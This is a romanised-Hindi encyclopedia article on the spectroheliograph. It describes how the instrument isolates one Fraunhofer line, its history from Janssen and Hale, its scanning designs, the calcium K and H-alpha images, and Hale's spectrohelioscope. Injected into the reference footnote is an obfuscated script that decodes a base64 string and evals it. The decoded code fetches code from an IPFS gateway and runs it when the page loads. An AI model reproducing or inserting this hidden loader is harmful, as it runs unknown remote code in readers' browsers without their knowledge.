एकवर्ण सूर्यचित्रक
ekavarn sooryachitrak (spektrohiliyograf) vah yantr hai jisake dvara soory ke samooche bhag ya kisi ek bhag ki visheshataoan ka chitraankan kisi bhi tarangadairghy ke prakash dvara kiya ja sakata hai. yah vastav mean ek rashmichitraankak (spektrograf) hai jo ek vishesh tarangadairghy ke vikiran ko, udaharanat: ek phraunahofar rekha ko, alag kar leta hai aur is prakar soory ke samooche bhag ki jaanch is rekha ke prakash mean karane ki kshamata pradan karata hai. ek sadharan spektrograf ki kalpana kijie jisake aantim bhag mean, jahaan varnakram (spektram) ka photograf aankit kiya jata hai, ek doosara sankara chhidr laga ho. is chhidr ke dvara koee vishisht varnakram rekha (ya usaka ek bhag) alag ho sakata hai. yah chhidr is prakar sare vikiran ka vahi bhag bahar ane deta hai jo ek vishesh tarangadairghy ka hai aur us chhidr par p d raha hai. yadi photo khianchanevali pattika is doosare chhidr ke sath satakar rakh di jae to is chhidr se hokar bahar anevale vikiran ka photo liya ja sakata hai. ab yadi sara yantr dhire dhire barabar, kiantu niyantrit gati se, is prakar chalaya jae ki yantr ka aksh soory ke samooche pratibianb ko par kar sake aur chhidr ki sabhi anugami sthitiyaan ek doosare ke samaantar rah sakean, to pattika par ek poora pratibianb banega jo ekavarniy kaha ja sakata hai. yadi pratham chhidr sooryapratibianb ke vyas se b da ho to photo ki pattika par bana pratibianb vastav mean soory ke samooche bhag mean chitr hoga. yah pratham chhidr dvara lie ge, rekha ke saman sankare, anek chitroan ka ekikaran hoga.
jainsen ne 1869 ee. mean ekavarn sooryachitrak ke bare mean maulik vichar prakat kie, kiantu hel ne haravard mean kam karate hue 1891 ee. mean ise pahali bar banaya. myoodan mean delaiandr bhi is samay isi prashn ko lekar vyast tha. usaka yantr vastav mean ekavarn sooryachitrakoan mean agrani hai.
ekavarn sooryachitrak kee prakar ke hote haian. inamean jo sadharanataya prachalit haian unaka varnan niche kiya ja raha hai. ye sabhi saur pratibianb ke vividh bhagoan ko bari bari se dekhane arthath anvavalokan ki vidhiyoan mean ek doosare se bhinn haian.
1. rashmi chitraankak ek avartak dooradarshi (raphraiiktar) se sanlagn kiya jata hai. yah dooradarshi vishuvatiy roop se aropit rahata hai, parantu aisi gati se ghumaya jata hai jo saur dainik gati se bhinn hai; ya kraanti (deklineshan) mean ghumaya jata hai, jab ki photo ki pattika ko dvitiy chhidr ke ar par chalaya jata hai.
2. sthir rashmichitraankak ka prayog chaladarpan (silostait ya saidarostait) ke sath kiya jata hai aur dooradarshi ke vastutal (aaubjektiv) ko apane dharatal mean chalaya jata hai, jab ki photo ki pattika alag se rashmichitraankak ke ar par chalaee jati haian.
3. vastutal, photo plet aur rashmichitraankak ke mukhy bhag sthir rahate haian, kiantu chhidroan ko prakashakiran ke ar par apane samaantar ek bagal chalay jata hai.
4. samoocha rashmichitraankak chalata hai, jab ki dooradarshi ka vastutal aur photo plet sthir rahate haian. is prakar ka ek yantr jyotibhautiki vedhashala, kodeekanal mean hai.
shh 200px|left triparshv (prijm़) se bana ekavarn sooryachitrak
1. sooryakiran; 2. nakshatrasthapak (saidarostait) ka darpan; 3. pratham dirgh chhidr; 5. sandhanak (k aaulimetiang leanz); 6. tatha 7. vikshepak triparshv (disparsig prijm); 8. varnakram ko anevali kiranavali ke samaantar paravartit karanevala darpan; 9. dvitiy dirgh chhidr par varnakram ko sangamit (fokas) karane ke lie leans (leanz), jisaka sangamaantar (fokal leangth) sandhanak (5) ke sangamaantar ke barabar hai; 10. dvitiy dirgh chhidr, jo varnakram ki ek rekha ya sankare pradesh ko prithakh karati hai; 11. photo ki pattika ya philm.
achchhe ekavarn sooryachitrakoan ke lie snigdh aur samanaveg anuavaloki gati ki nitaant avashyakata hai. isake lie kuchh yantroan mean bijali ke motar ka prayog kiya jata hai. kuchh any mean isi kam ke lie girate bhar ka prayog kiya jata hai. yantr ke gurutvajany tvaran ko mitane ke lie use ek telabhari pichakari ke pistan se sanyukt kar diya jata hai aur bahut hi gadhe tel ka prayog kiya jata hai.
ekavarn sooryachitrak ke lie triparshv evan chaukor gretiang donoan ka hi prayog varnavibhanjan ke lie kiya jata hai. ekavarn sooryachitr sooryavarnakram ki kee faunahofar rekhaoan se saphalata ke sath lie ja sakate haian, kiantu sadharanataya ayanikrit kailsiyam ki ke (k) rekha aur haidrojan ki ech-ailfa (H-a) rekha hi prayukt hoti haian. ye rekhaean photo nirikshan ke lie adarsh haian, kyoanki ye bahut tivr haian aur inake agal bagal chau de aandhere patt (baiand) hote haian jo bikhar kar ae prakash ko bahut kam kar dete haian.
jo sooryachitr ayanikrit kailsiyam ke prakash mean lie jate haian, ve haidrojan ke lal prakash mean lie ge chitroan se sarvatha bhinn hote haian. unamean kailsiyam vashp ki chamakili dhajjiyaan dikhaee p dati haian, yahi inaki b di visheshata hai. isake viparit, haidrojan mean lie ge chitr saur vayumandal ka sookshm byora upasthit karate haian. inamean bahut si sankari lanbi dhajjiyaan dikhaee p dati haian jo milakar bhramimay rachana karati huee jan p dati haian. phalat: ekavarn sooryachitrak mean chitr 1 aur 2 ke sooryachitr kramanusar kailsiyam aur haidrojan ke prakash mean lie ge haian. chitr 3 kailsiyam ke prakash mean liya gaya hai tatha prodvardha ko dikhata hai. yah chitr uchit nap ki ek gol takhti dvara soory ke pratibianb ko is prakar dhakakar liya gaya hai ki usake bahy kinare ka hi photo ae.
ekavarn sooryadarshak-ekavarn sooryachitrak mean jis siddhaant ka upayog hua hai usi ke adhar par hel ne 1924 mean drishti dvara nirikshan ke lie ekavarn sooryadarshak yantr banaya. is yantr mean soory ka prakash ek sthiradarshi (silostait) ke dvara kshaitij disha mean paravartit hokar ek tal par girata hai jo soory ka pratibianb ek chhidr par banata hai. is chhidr se hokar bahar janevala prakash ek avatal darpan par girata hai jo use ek samaantar prakash-kiran-samooh ke roop mean lagabhag kshaitij disha mean ek samatal vyaanbhag jharajhari (daphraiikhshan gretiang) ki or paravartit karata hai. yah jharajhari paravartanavali hoti haian aur chhidr ke thik niche lagi rahati hai. vyabhanjit (daphraiikted) kiran doosare avatal darpan par p dati hai, jo pahale darpan ke niche laga rahata hai, aur isake karan kiranean doosare chhidr ke dharatal mean, jo pahale chhidr ke niche hota hai, sangamit (fokas) ho jati haian. donoan chhidr ek hi patari par aropit rahate haian aur ek motar dvara kshaitij samatal mean veg se dolan karate haian. ghumae janevale chhidroan ke sthan mean do ayatakar triparshva ka bhi prayog kiya ja sakata hai, jo sthir chhidroan ke samane lage rahate haian aur ek hi aksh par aropit rahate haian, jise motar dvara ghumaya jata hai. pahale triparshv ke ghoomane se pahale chhidr par saur pratibianb ke vividh bhag p date haian aur phir parinamasvaroop varnavibhanjan ke pashchath doosare chhidr par p date haian. is doosare triparshv ke ghoomane ke karan ekavarniy prakash mean b da saur pratibianb dikhaee p data hai jo akshutal dvara dekha aur jaancha ja sakata hai. timatimahat ko door karane ke lie triparshva ko b de veg se ghumate haian. drishtisthirata ke karan nirikshak ko soory ka ek samoocha bhag ekavarniy prakash mean dikhalaee p data hai. is yantr se saur vayumandal ki komal rachana drishy ho jati hai aur is prakar yah yantr nity parivartit hoti rahanevali saur ghatanaoan ke adhyayan mean b da upayogi siddh hua hai.[1]
oopar jo kuchh varnan kiya gaya hai usase pata chalata hai ki ekavarnasooryachitrak aur ekavarn sooryadarshak vastav mean ekavarni haian, kyoanki ve varnakram se ek vikiran ko alag kar lete haian. vartaman samay mean bhinn bhinn prakar ke aise varnavarodhak banakar bhi yah prashn sulajhaya gaya hai jo varnakram se bahut hi sookshm patt (baiand) bahar ane dete haian. patt ki sookshmata 0.5 aiangastram tak ho sakati hai. is prakar ke varnavirodhakoan ka nirman vyatikaran (iantarafiyareans) aur dhravan (polairaizeshan) ke bhautik siddhaantoan par adhrit hai. jab soory ke lie in varnavirodhakoan ka prayog kiya jata hai to jyotividh soory ke samooche bhag ya aansh ka photo ekavarniy prakash mean le sakate haian. samoocha photograf ek sekeand ke alp khand mean hi utara ja sakata hai.[2]
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tika tippani aur sandarbh
- ↑ hindi vishvakosh, khand 2 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 206 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ san.gran.-manthali notisez aauv d r aauyal aistron aaumikal sosayati, aistrofijikal jaranal, pablikeshans aauv d yarkij aaubzaravetariz ityadi mean chhape lekh.
sanbandhit lekh
varnamala kramanusar lekh khoj
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